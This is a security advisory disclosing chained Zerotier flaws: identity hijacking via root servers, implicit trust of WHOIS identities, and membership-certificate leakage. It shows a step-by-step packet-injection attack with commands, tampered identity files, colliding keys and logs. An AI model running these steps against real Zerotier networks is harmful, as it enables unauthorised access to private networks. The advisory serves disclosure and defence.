An attacker may chain Zerotier root-server identity overwriting, insecure identity verification and various information leakage vulnerabilities to gain unauthorised access to private Zerotier networks.
Practical exploitation of this vulnerability would require an attacker to have knowledge of the target private network address and the addresses for at least two existing clients connected to the private network. This advisory demonstrates a proof-of-concept exploit that injects a packet into a private network.
Zerotier promptly addressed the root server identity verification
issues. This attack is still possible (as of 20/09/2021); however,
an attacker is required to invest significant compute time (many many
years with a single RTX2070) to generate a valid identity that collides
with an intended target. Zerotier client’s still accept any identity
learned via WHOIS
packet as implicitly valid.
Update 2021-09-24: Additional changes have been implemented to enable collision detection on the root servers, as well as a new release of the Zerotier clients (1.6.6) that no longer implicitly trust identities learned from root servers. Zerotier have released a blog post discussing the issues further.
Date Released: 20/09/2021
Author: Denis Andzakovic
Vendor Website: https://www.zerotier.com/
Affected Software: All Zerotier Clients, Zerotier root servers pre 5028aca3722fbdc989a904a3ffe7d07392ab0add
Zerotier is a peer-to-peer networking solution that allows multiple clients to join the same private network. This is achieved by each client generating a public/private key pair, the public key of which is run through a compute intensive algorithm to determine the client’s Zerotier Address. This address is then granted access to private networks through a Zerotier controller configured to allow that address.
The attacks detailed in this advisory concern the VL1
Zerotier
layer. The core peer-to-peer networking layer that underpins Zerotier.
This article assumes the reader has a basic familiarity with the Zerotier system. Supporting information can be found in the Zerotier manual.
Multiple modifications were made to a local Zerotier test client to stage various attacks against remote nodes. A patch file is included with this advisory (in the References section) that can be used to replicate the attacks and provide the additional logging shown in this advisory.
Background
An attacker could hijack arbitrary Zerotier peer addresses by overwriting
public keys stored in Zerotier root servers. This could be used to inject
unauthorised packets into Zerotier private networks under certain circumstances.
Testing was performed using the GitHub master branch, version 1.6.5
.
Zerotier network addresses are derived from the peer’s public key using a custom hashing algorithm. This algorithm is designed to derive a 5-byte Zerotier address from a given public key. The algorithm is detailed in the _computeMemoryHardHash function in Identity.cpp.
The system is designed such that if a 5-byte network address is already
owned by another peer, the root servers are to respond with
Packet::ERROR_IDENTITY_COLLISION
. The root servers did not perform any
verification to confirm that a given public key is valid for the network
address it’s presented for. An attacker could overwrite the network address
portion of their identity.secret
file with any network address and the
root servers will accept this public key as valid for the tampered Zerotier
network address.
Additionally, the root servers did not implement collision detection, and instead overwrote existing public keys with the newly supplied public keys. This allowed an attacker to hijack arbitrary Zerotier network addresses without investing significant compute time in brute-forcing public keys to generate a collision. A fix was implemented by Zerotier which requires the identities to pass the verification check; however, an attacker may generate a colliding identity and exploit the issues in this advisory. Further details on the fix and bypass are detailed in the Root-Server Identity Verification Bypass section.
After the first connection, peers cache public keys for other peers for 30 days. An attacker would need to hijack the address for a peer that has been offline for 30 days or communicate only with other peers that do not have a cached identity for the hijacked address. Note, the Zerotier documentation recorded this cache retention value as 60 days.
An attacker could leverage this vulnerability to gain access to a private Zerotier network. Access to private network is handled by Zerotier network controller, where an administrator grants access to specific Zerotier peer addresses. The first time a peer connects to a private network, the controller reads and stores the complete public key for the peer, along with the address. This prevents this attack from hijacking a peer which has previously authenticated with a network directly, as attempts to join the network would be rejected by the controller as the public keys do not match what is expected.
Packet injection into private networks is possible after hijacking with an already registered peer by attacking the peers within the private network directly and ignoring the network controller. This attack requires multiple steps to exploit, as detailed in the Private Network Packet Injection section below.
Additional attacks may be possible by hijacking addresses for Zerotier moons and/or network controllers. This has not been fully explored and would be a fantastic candidate for further research.
To stage these attacks against remote nodes, additional functionality was implemented within the Zerotier One service running locally. A patch file is included with this advisory that can be used to replicate the attacks and provide the additional logging shown in this advisory.
The following root servers were in use at the time of writing the original advisory:
200 peers
<ztaddr> <ver> <role> <lat> <link> <lastTX> <lastRX> <path>
61d294b9cb - PLANET 227 DIRECT 1623760639975 4623 50.7.73.34/9993
62f865ae71 - PLANET 208 DIRECT 9851 4623 50.7.252.138/9993
778cde7190 - PLANET 218 DIRECT 9851 4623 103.195.103.66/9993
992fcf1db7 - PLANET 355 DIRECT 9851 4534 195.181.173.159/9993
Root Servers - Key Overwriting and Missing Identity Verification
The Zerotier root servers did not enforce any validation checks on new identities
and did not return collision errors. Instead, the root servers overwrote any
existing public key for the provided Zerotier address with the attacker supplied
public key. The dowhois
API detailed below is a custom Zerotier-One Service API
created as part of this research to manually issue Zerotier WHOIS
requests to
the Zerotier root servers and confirm this vulnerability.
The following figures show the process to overwrite a public key in the Zerotier
root servers. The Zerotier address being targeted in this example is 9eeda4823d
.
The following figure shows the legitimate identity retrieved from the Zerotier root
servers using the modified Zerotier client:
:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...'
http://127.0.0.1:9993/dowhois/9eeda4823d; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "WHOIS sent"
}
:~/src/ZeroTierOne$ xxd clean/peers.d/9eeda4823d.peer
00000000: 019e eda4 823d 00e0 d73b c0fb d8f4 5097 .....=...;....P.
00000010: 18ba ea1e 07a2 b074 664c 8548 22ea ac88 .......tfL.H"...
00000020: c4cb 5547 0f90 05c6 2c4c 691b b181 7a54 ..UG....,Li...zT
00000030: 7dd0 ab97 0caa 4682 66ed 3d3e 61d6 7149 }.....F.f.=>a.qI
00000040: 014d ae98 d529 1700 0000 0000 0000 0000 .M...)..........
00000050: 0000
The retrieved public key was e0d73bc0fbd8f4509718...17
, as shown in the hex dump
above.
By generating a new identity and overwriting the network address portion of the
identity.secret file with the target address (9eeda4823d
), the address could be
overwritten in the root servers. This is detailed in the following figure. Note
the zerotier-idtool
correctly shows this identity as invalid:
doi@attacker:~/src/ZeroTierOne$ sudo cat hijack/identity.secret
9eeda4823d:0:af53cba4626bc35865a39b9277bee90351e0858c2860563ee054e44f3667b1603745c18730ca151a824bd5843380a8d07bc650dc2e3ef8298e0480b514b5edc2:...REDACTED...
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-idtool validate
hijack/identity.secret
hijack/identity.secret FAILED validation.
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-one hijack/
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
The Zerotier client successfully starts and connects with the invalid identity:
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack info
200 info 9eeda4823d 1.6.5 ONLINE
Performing the WHOIS
lookup from another client confirmed the public key was
overwritten in the root servers. An attacker can force arbitrary Zerotier peers
to perform WHOIS
look-ups for identities that the target peer hasn’t connected
to before by leveraging the attack detailed in Insufficient Client-Side Identity Validation
.
doi@ClientB:~/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...'
http://127.0.0.1:9993/dowhois/9eeda4823d; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "9eeda4823d"
}
doi@ClientB:~/ZeroTierOne$ xxd run-clean/peers.d/9eeda4823d.peer
00000000: 019e eda4 823d 00af 53cb a462 6bc3 5865 .....=..S..bk.Xe
00000010: a39b 9277 bee9 0351 e085 8c28 6056 3ee0 ...w...Q...(`V>.
00000020: 54e4 4f36 67b1 6037 45c1 8730 ca15 1a82 T.O6g.`7E..0....
00000030: 4bd5 8433 80a8 d07b c650 dc2e 3ef8 298e K..3...{.P..>.).
00000040: 0480 b514 b5ed c200 0000 0000 0000 0000 ................
00000050: 0000
The public key for the 9eeda4823d
address was successfully overwritten with the
attacker controlled af53cb...c2
public key.
This is the core issue that was chained with the remaining issues in this advisory.
Identity Verification Fixes
Zerotier updated the root servers to validate inbound peer public keys. Collision detection is yet to be implemented, which allows an attacker that can generate a valid private key for a target address to execute the attack detailed in this advisory.
I created a very, very, extremely rough CUDA based Zerotier identity
brute forcer which is available on github.
You may be wondering, why is this using a .bat
file instead of a Makefile
and is generally awful? Because I wrote it on my gaming PC as a bare-bones
proof-of-concept and I’d rather release terrible code than no code.
The hard-hash mechanism used by Zerotier relies on many rounds of Salsa20
performed across a 2MB memory buffer, which makes brute forcing slow. This is
further slowed down by the identity verification only accepting hashes with
a first-byte less than 17 (as shown in the following snippet from Identity.cpp
):
#define ZT_IDENTITY_GEN_HASHCASH_FIRST_BYTE_LESS_THAN 17
...snip...
// Hashcash generation halting condition -- halt when first byte is less than
// threshold value.
struct _Identity_generate_cond
{
_Identity_generate_cond() {}
_Identity_generate_cond(unsigned char *sb,char *gm) : digest(sb),genmem(gm) {}
inline bool operator()(const C25519::Pair &kp) const
{
_computeMemoryHardHash(kp.pub.data,ZT_C25519_PUBLIC_KEY_LEN,digest,genmem);
return (digest[0] < ZT_IDENTITY_GEN_HASHCASH_FIRST_BYTE_LESS_THAN);
}
unsigned char *digest;
char *genmem;
};
The following benchmark is using an NVIDIA RTX2070 card, generating 5 hashes per thread:
> nvprof.exe .\ztcrack.exe 32 72 6600
Setting heap size to 6920601600
==9804== NVPROF is profiling process 9804, command: .\ztcrack.exe 32 72 6600
[!] Error: Could not open file targets.dat: No such file or directory
[!] Running in benchmark mode
Running 72 threads and 32 blocks. Total 2304
==9804== Profiling application: .\ztcrack.exe 32 72 6600
==9804== Profiling result:
Type Time(%) Time Calls Avg Min Max Name
GPU activities: 100.00% 169.977s 1 169.977s 169.977s 169.977s crack(void*, __int64, bool)
...snip...
So in this case it took 170 seconds to generate 11520 valid keys, or roughly 68-ish hashes-per-second.
Assuming a total key-space of 256^5
(Each Zerotier network address is 5
bytes long. The key-space is actually a bit smaller due to reserved Zerotier
addresses), we can estimate how long it would take to generate a valid
private key every possible Zerotier network address:
0xFFFFFFFFFF / 68 = 16169288644 (total seconds)
16169288644 / 60 / 60 / 24 = 187145 (total days)
187144 / 365 = 512 (years)
So 512 years on a single RTX2070 card with borderline-usable unoptimized brute forcing code. This places these attacks within the realms of a reasonably funded attacker. An RTX3090 has over four-times the number of CUDA cores that my RTX2070 does (10496 versus 2304). $500,000 NZD would source 138 RTX3090 cards that could potentially generate a valid private key for every Zerotier network address within a year, assuming relatively linear scaling across additional CUDA cores.
As a proof-of-concept, I generated a large number of legitimate Zerotier
identities with zerotier-idtool
, then found valid collisions with the
CUDA bruteforcer. Five example collisions are shown below, the format is
<ZTAddress>:0:<Public Key>
, with the legitimate public key first and the
colliding key second:
62613ea298:0:7794b4693979d08dc96552e27b3e4a590025fe387979dbb538fed894e566c34f37efcdcf1d7d4d22741bd811510ded9a7455479e3c46049136d8464756061bf3
62613ea298:0:d4e243391009b7f4f77a068697875d48bd34dbaa29c3e8c37ba306a4f64bc14f3b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
773a49b199:0:85232fff85fc7ae7cfb3c145730a1f1d3424c0ad4def2c96f1fcc4266569ec5176aa6437a9f6c7c7fe3ce033c7e6460bc4342ba198aa76abc47f822da5cbdbd5
773a49b199:0:1897490629f84ae72afa7aab0caf2e92df0fcd74d5eed22b8b777602c1c7952e3b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
856723f29d:0:82f709f9e039d59dee80bb38afa67e048b2f635483e4615b6b20ebcb6fb9fc4bcb87ef2d101b33eb4cacc18c8e9ad0ec6c7db01a9d69bc85ec77a22c0734ff08
856723f29d:0:af4366364c0bfe657e78b95b4d2f30915654a8d28e85222a4fe9b5cb617de02e3b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
e3954c5c68:0:c2ae7ea513c58a880275c2b47489f996f960839614fa124396e8b314cc473b26071dd7f85080b936d0f322267a50dc964c2564d1f26c4b75b26c394fe43f38b9
e3954c5c68:0:3de2e4431c6dc6856a5566f4973f3a4916113a6d7a7d29cb83cac4c8b395a2133b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
---
85f9ee66b4:0:5fa999de3f91ff3ddac23465f1a1e3f7e9fdd9633641b3b8a2220218c86a3340eeee4d6f285581d225e70c6976832e304e509af3a0f7256178131bea1920f3a4
85f9ee66b4:0:84d769e438cb83be5a34eb3f1c3d9a3d3bd1ac200139f44666726f3fcef526233b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29
These test identities were used to confirm that identities can still be overwritten in the root servers.
Insufficient Client-Side Identity Validation
A Zerotier client may learn invalid peer identities, such as hijacked
identities, when they are obtained from the root servers via WHOIS
packet. The clients implicitly trust that any identity learned via
WHOIS
is valid. An attacker may force a client to perform WHOIS
requests by sending any Zerotier packet to the target client, except a
packet that includes the HELLO
verb. This can be achieved either by
sending packets to clients directly (requiring direct network access)
or via the Zerotier network.
The Identity::locallyValidate()
method is defined to verify if a
given public key passes the digest checks and generates the correct
Zerotier network address. Zerotier called locallyValidate
on HELLO
packets received from other peers; however, identities obtained by other
means (such as via WHOIS
requests to Zerotier root servers) did not
undergo validation and were effectively assumed to be valid. At the time
this advisory release (20/09/2021) Zerotier clients still implicitly
trusted identities learned via root servers.
The following figure shows the WHOIS
response handling code, defined
in incomingPacket::_doOK
:
512 case Packet::VERB_WHOIS:
513 if (RR->topology->isUpstream(peer->identity())) {
514 const Identity id(*this,ZT_PROTO_VERB_WHOIS__OK__IDX_IDENTITY);
515 RR->sw->doAnythingWaitingForPeer(tPtr,RR->topology->addPeer(tPtr,SharedPtr<Peer>(new Peer(RR,RR->identity,id))));
516 }
517 break;
518
The code above ensures the packet originated from an upstream server
(such as a root server) and then learns the identity. An attacker can
force a target Zerotier client to perform a WHOIS
request by sending
them an arbitrary, non HELLO
verb packet. The following figure shows
the logic in incomingPacket
::
tryDecode
that causes this behaviour:
43 bool IncomingPacket::tryDecode(const RuntimeEnvironment *RR,void *tPtr,int32_t flowId)
44 {
45 const Address sourceAddress(source());
46
47 try {
48 // Check for trusted paths or unencrypted HELLOs (HELLO is the only packet sent in the clear)
49 const unsigned int c = cipher();
50 bool trusted = false;
51 if (c == ZT_PROTO_CIPHER_SUITE__NO_CRYPTO_TRUSTED_PATH) {
52 // If this is marked as a packet via a trusted path, check source address and path ID.
53 // Obviously if no trusted paths are configured this always returns false and such
54 // packets are dropped on the floor.
55 const uint64_t tpid = trustedPathId();
56 if (RR->topology->shouldInboundPathBeTrusted(_path->address(),tpid)) {
57 trusted = true;
58 } else {
59 RR->t->incomingPacketMessageAuthenticationFailure(tPtr,_path,packetId(),sourceAddress,hops(),"path not trusted");
60 return true;
61 }
62 } else if ((c == ZT_PROTO_CIPHER_SUITE__C25519_POLY1305_NONE)&&(verb() == Packet::VERB_HELLO)) {
63 // Only HELLO is allowed in the clear, but will still have a MAC
64 return _doHELLO(RR,tPtr,false);
65 }
66
67 const SharedPtr<Peer> peer(RR->topology->getPeer(tPtr,sourceAddress));
68 if (peer) {
...snip...
116 } else {
>> 117 RR->sw->requestWhois(tPtr,RR->node->now(),sourceAddress);
118 return false;
119 }
120 } catch ( ... ) {
121 RR->t->incomingPacketInvalid(tPtr,_path,packetId(),sourceAddress,hops(),verb(),"unexpected exception in tryDecode()");
122 return true;
123 }
124 }
The requestWhois
invocation is detailed on line 117 above and is
called if the peer is not known and the packet does not contain the
HELLO verb.
The following figure shows a legitimate client which will be attacked for testing purposes and has no learnt peers:
doi@ClientB:~/ZeroTierOne$ sudo ./zerotier-cli -Drun-clean/ info
200 info 7cbd5b7697 1.6.5 ONLINE
doi@ClientB:~/ZeroTierOne$ sudo ./zerotier-idtool validate run-clean/identity.secret
run-clean/identity.secret is a valid identity
doi@ClientB:~/ZeroTierOne$ ls -l run-clean/peers.d/
total 0
The following shows a fraudulent client with a hijacked identity using
the custom domembershiperror
API to force a test target to perform
a WHOIS
lookup. The two parameters used in domembershiperror
are the
target Zerotier peer address and a Zerotier private network address. The
private network address can be set to any value if the aim to only to
force a WHOIS
lookup.
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/domembershiperror/7cbd5b7697/ffffffff; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "Error sent to 0x7cbd5b7697 for network 0xffffffff"
}
The following log and figure show the attacker initiated WHOIS
lookup
and the attacker-controlled identity now being learned by the target
client:
doi@ClientB:~/ZeroTierOne$ sudo ./zerotier-one run-clean/
IncomingPacket::tryDecode()
…snip…
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
requestWhois for: 9eeda4823d
IncomingPacket::tryDecode()
_doOK() Handling WHOIS Reply
^C
doi@ClientB:~/ZeroTierOne$ sudo xxd run-clean/peers.d/9eeda4823d.peer
00000000: 019e eda4 823d 00af 53cb a462 6bc3 5865 .....=..S..bk.Xe
00000010: a39b 9277 bee9 0351 e085 8c28 6056 3ee0 ...w...Q...(`V>.
00000020: 54e4 4f36 67b1 6037 45c1 8730 ca15 1a82 T.O6g.`7E..0....
00000030: 4bd5 8433 80a8 d07b c650 dc2e 3ef8 298e K..3...{.P..>.).
00000040: 0480 b514 b5ed c200 0000 0000 0000 0000 ................
00000050: 0000
Client Certificate-of-Membership Leakage
Certificates-of-Membership are issued to clients by Zerotier network controllers and used to verify whether a client is allowed access to a given private network.
An attacker that is not authorised to access a private network may
harvest certificates-of-membership (COM) for legitimate clients by
sending a fraudulent ERROR
packet. ERROR
packets are accepted from
any Zerotier peer and processing decisions made based on the specific
error code and other checks.
An attacker that knows a private network ID and a Zerotier address of a
peer on that network can send a fraudulent
ERROR_NEED_MEMBERSHIP_CERTIFICATE
error to a target client. The target
client will subsequently respond with their certificate-of-membership.
This COM disclosure was used to harvest valid COMs when staging the attack detailed in the Private Network Packet Injection section.
The following figure shows the vulnerable code path:
126 bool IncomingPacket::_doERROR(const RuntimeEnvironment *RR,void *tPtr,const SharedPtr<Peer> &peer)
127 {
128 const Packet::Verb inReVerb = (Packet::Verb)(*this)[ZT_PROTO_VERB_ERROR_IDX_IN_RE_VERB];
129 const uint64_t inRePacketId = at<uint64_t>(ZT_PROTO_VERB_ERROR_IDX_IN_RE_PACKET_ID);
130 const Packet::ErrorCode errorCode = (Packet::ErrorCode)(*this)[ZT_PROTO_VERB_ERROR_IDX_ERROR_CODE];
131 uint64_t networkId = 0;
132
133 /* Security note: we do not gate doERROR() with expectingReplyTo() to
134 * avoid having to log every outgoing packet ID. Instead we put the
135 * logic to determine whether we should consider an ERROR in each
136 * error handler. In most cases these are only trusted in specific
137 * circumstances. */
138
139 switch(errorCode) {
...snip...
161 case Packet::ERROR_IDENTITY_COLLISION:
162 // FIXME: for federation this will need a payload with a signature or something.
163 if (RR->topology->isUpstream(peer->identity()))
164 RR->node->postEvent(tPtr,ZT_EVENT_FATAL_ERROR_IDENTITY_COLLISION);
165 break;
166
>> 167 case Packet::ERROR_NEED_MEMBERSHIP_CERTIFICATE: {
168 // Peers can send this in response to frames if they do not have a recent enough COM from us
169 networkId = at<uint64_t>(ZT_PROTO_VERB_ERROR_IDX_PAYLOAD);
170 const SharedPtr<Network> network(RR->node->network(networkId));
171 const int64_t now = RR->node->now();
>> 172 if ((network)&&(network->config().com))
>> 173 network->pushCredentialsNow(tPtr,peer->address(),now);
174 } break;
175
176 case Packet::ERROR_NETWORK_ACCESS_DENIED_: {
177 // Network controller: network access denied.
178 const SharedPtr<Network> network(RR->node->network(at<uint64_t>(ZT_PROTO_VERB_ERROR_IDX_PAYLOAD)));
179 if ((network)&&(network->controller() == peer->address()))
180 network->setAccessDenied();
181 } break;
182
...snip...
The case
statement on line 167 shows the code path when a
ERROR_NEED_MEMBERSHIP_CERTIFICATE
packet is received. No verification
aside from checking the network identifier in the incoming ERROR
message is performed.
The following figure shows the custom domembershiperror
API (which was
specifically implemented for this attack) being used to harvest a valid
COM for the 3a47320d41
client, registered for the af415e486fb9af41
private network.
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/domembershiperror/3a47320d41/af415e486fb9af41; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 71
Connection: close
{
"res": "Error sent to 0x3a47320d41 for network 0xaf415e486fb9af41"
}
The COM is subsequently logged to stderr
on the attacking Zerotier
instance:
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-one hijack/
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
requestWhois for: cdaee5d14a
IncomingPacket::tryDecode()
_doOK() Handling WHOIS Reply
IncomingPacket::tryDecode()
^[[AIncomingPacket::tryDecode()
requestWhois for: ab2ebe0a59
IncomingPacket::tryDecode()
_doOK() Handling WHOIS Reply
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
_doNETWORK_CREDENTIALS
_doNETWORK_CREDENTIALS: got com: 1:00000000000000000000017a0f49531400000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:c97dc032e79e14c730bb915975c0442c4699c07ed6b32e1cf271de3b4b4ec9e88a87b3295d531af080a8c61706c6e388f3c6b359e2ef297ad214c8cc3e4ce909eeeaea0e21e5f08fdb849332c2294df4f092c0d5f7254ffe0737f8f602bbbdba
This COM can now be used by the attacker.
Private Network Access and Packet Injection
To access a private network, a Zerotier client’s network address must be added to the allow-list on the appropriate network controller responsible for managing that private network. Once the client initially connects, the network controller stores the client’s complete public key. If an attacker can determine a client address for a given private network that has not yet connected to the private network but is authorised to do so, then the attacker could hijack the client address and gain access to the private network directly.
The following figure shows an attacker gaining access to a private network with a hijacked identity when that legitimate identity has not yet connected and stored its public key with the network controller:
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-idtool validate hijack/identity.secret
hijack/identity.secret FAILED validation.
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack join af415e486fb9af41
200 join OK
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack status
200 info 9eeda4823d 1.6.5 ONLINE
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli -Dhijack listnetworks
200 listnetworks <nwid> <name> <mac> <status> <type> <dev> <ZT assigned ips>
200 listnetworks af415e486fb9af41 thirsty_szpakowski 42:31:54:cb:ca:63 OK PRIVATE zt44xopzzo 172.22.75.51/16
The following figure shows the hijacked identity successfully added to the network controller:
:~$ curl 'https://my.zerotier.com/api/network/af415e486fb9af41/member' -H 'cookie: ...REDACTED...'
[
...snip...
{
"id": "af415e486fb9af41-9eeda4823d",
"type": "Member",
"clock": 1623754855281,
"networkId": "af415e486fb9af41",
"nodeId": "9eeda4823d",
"controllerId": "af415e486f",
"hidden": false,
"name": "",
"online": true,
"description": "",
"config": {
"activeBridge": false,
"address": "9eeda4823d",
"authorized": true,
"capabilities": [],
"creationTime": 1623754583947,
"id": "9eeda4823d",
"identity": "9eeda4823d:0:af53cba4626bc35865a39b9277be...snip...",
"ipAssignments": [
"172.22.75.51"
],
"lastAuthorizedTime": 1623754583952,
"lastDeauthorizedTime": 0,
"noAutoAssignIps": false,
"nwid": "af415e486fb9af41",
"objtype": "member",
"remoteTraceLevel": 0,
"remoteTraceTarget": null,
"revision": 3,
"tags": [],
"vMajor": 1,
"vMinor": 6,
"vRev": 5,
"vProto": 12
},
...snip...
If the targeted client address has connected already, the attacker connection fails as the hijacked public key does not match the expected key. However, packets can still be injected into the private network by hijacking a legitimate peer address and sending frames directly to another peer on the network.
For this attack to work, the attacker must find two peers within a private network that have not communicated with each other, but have each independently connected to the network controller and obtained a recent COM. This is to make sure that when the attacker connects to the target client, the hijacked identity is retrieved from the root servers. This specific packet injection scenario is included as a proof-of-concept, and further attacks may be possible.
The attack works as follows:
- The attacker identifies two clients which are unlikely to have communicated with each other, and therefore do not have each other’s identities cached.
- The attacker sends a fraudulent error message to Client A from a
legitimate Zerotier address (using the steps detailed in
Client Certificate-of-Membership Leakage
).- This gives the attacker a legitimate COM for Client A.
- The attacker hijacks the Zerotier address for Client A, and sends the COM from step 2 to Client B.
- The attacker can now send frames to Client B which are considered valid and end up in the targeted private network.
┌───────────────────────────┐
│ Zerotier Root Servers │
└────────────▲──────────────┘
│
│2 - Hijack address for
│ Client A
│
│
│
│
1 - Harvest COM for │
Client A ┌────┴─────┐ 3 - Send stolen COM to Client B
┌───────────────┤ Attacker ├────────────┐
│ └──────────┘ │
│ │
│ │
│ │
┌────────┼───────────────────────────────────────┼────────
│ │ │4 - Attacker packet
│ ┌────▼─────┐ ┌────▼────┐ │ injected to
│ │ Client A │ │Client B │ │ Client B
│ └──────────┘ └─────────┘ │
│ Private Zerotier Network │
└────────────────────────────────────────────────────────┘
In this example, the target network is af415e486fb9af41
, Client-A is
3a47320d41
and Client-B is 217ede8779
. First, the attacker obtains a
valid COM for Client-A:
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/domembershiperror/3a47320d41/af415e486fb9af41; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 71
Connection: close
{
"res": "Error sent to 0x3a47320d41 for network 0xaf415e486fb9af41"
}
The COM is logged to stderr
on the attacker’s modified Zerotier client
(patch file is included in the References section):
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
_doNETWORK_CREDENTIALS
_doNETWORK_CREDENTIALS: got com: 1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad
_doNETWORK_CREDENTIALS: calling addCredential()
The attacker then hijacks Client-A’s address. This is shown here done
by overwriting the first parameter in the identity.secret
file with
the target address. To stage the attack against the now-patched root
servers, the attacker would need to generate a colliding identity.
doi@attacker:~/src/ZeroTierOne$ sudo cat new/identity.secret
3a47320d41:0:c94d05a111b8ba7f6458365d51cf864eb481671465cc20d10c0f53a5677ab7383b6a27bcceb6a42d62a3a8d02a6f0d73653215771de243a63ac048a18b59da29:...snip...
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-cli validate new/identity.secret
./zerotier-cli: missing port and zerotier-one.port not found in /var/lib/zerotier-one
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-idtool validate new/identity.secret
new/identity.secret FAILED validation.
doi@attacker:~/src/ZeroTierOne$ sudo ./zerotier-one new/
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
The COM from step one is then sent to Client-B:
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/sendcom/217ede8779/af415e486fb9af41 -d '1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad'; echo
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 22
Connection: close
{
"res": "COM sent"
}
The following log from Client-B shows the COM successfully added:
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
IncomingPacket::tryDecode()
_doNETWORK_CREDENTIALS
_doNETWORK_CREDENTIALS: got com: 1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad
_doNETWORK_CREDENTIALS: calling addCredential()
Network::addCredential: 1:00000000000000000000017a0f60262a00000000006ddd000000000000000001af415e486fb9af41000000000000000000000000000000020000003a47320d41ffffffffffffffff:af415e486f:673a50e63e367e00431133c6a0201c982a3f20abea9d37feb84a8dccfeed1db7addc6b9f00820791910224d9f7baa9ec2cd0a775626ef3bda8261a3fdcc5e408fa38a0656240df267844bdd670084de3b0f668c15131f1fa7f85e324e5bbc6ad
Membership:addCredenital
_doNETWORK_CREDENTIALS TRUSTED
The attacker can now send an arbitrary frame which is shown on the private network:
doi@attacker:~/src/ZeroTierOne$ curl -i -H 'X-ZT1-Auth: ...snip...' http://127.0.0.1:9993/doframe/217ede8779/af415e486fb9af41
HTTP/1.1 501 Not Implemented
Cache-Control: no-cache
Pragma: no-cache
Content-Type: application/json
Content-Length: 24
Connection: close
{
"res": "Frame sent"
}
The following log from Client-B shows the FRAME
packet passing the
network authentication checks:
IncomingPacket::tryDecode()
IncomingPacket::doFRAME()
IncomingPacket::doFRAME() - passed network id check
Network::gate
Network::gate got _config
Network::gate got m
isAllowedOnNetwork
isAllowedOnNetwork _com.timestamp() 1623755597354 _comRevocationThreshold 0
CertificateOfMembership::agreesWith
Network::gate m is allowed on network
IncomingPacket::doFRAME() - passed network gate check
IncomingPacket::tryDecode()
The following tcpdump
on Client-B shows the injected packet:
doi@ClientB:~/ZeroTierOne$ sudo tcpdump -X -i zt44xopzzo
tcpdump: verbose output suppressed, use -v or -vv for full protocol decode
listening on zt44xopzzo, link-type EN10MB (Ethernet), capture size 262144 bytes
23:24:21.442432 [|ARP]
0x0000: 4141 4141 4242 4242 AAAABBBB
